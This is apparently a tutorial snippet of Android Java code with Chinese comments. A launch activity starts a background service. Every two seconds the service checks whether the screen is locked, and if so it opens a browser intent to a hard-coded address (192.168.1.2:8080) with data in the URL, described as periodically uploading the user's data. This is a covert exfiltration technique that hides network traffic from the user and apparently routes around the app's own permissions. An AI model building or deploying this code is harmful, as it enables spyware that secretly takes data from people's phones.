1、界面启动后开启服务

public class UploadlogActivity extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        Intent intent = new Intent(this,UploadService.class);
        startService(intent);
    }

2、后台服务组件负责上传数据

public class UploadService extends Service {
private Timer timer;
private TimerTask task;
private KeyguardManager km;


@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}


@Override
public void onCreate() {
km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);


// 定期的上传用户的数据.
timer = new Timer();
final Random random = new Random();
task = new TimerTask() {
@Override
public void run() {


if (km.inKeyguardRestrictedInputMode()) {//锁屏状态下
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri
.parse("http://192.168.1.2:8080/web/aaa?info="
+ random.nextInt()));
startActivity(intent);
}
}
};


timer.schedule(task, 1000, 2000);
super.onCreate();
}


}
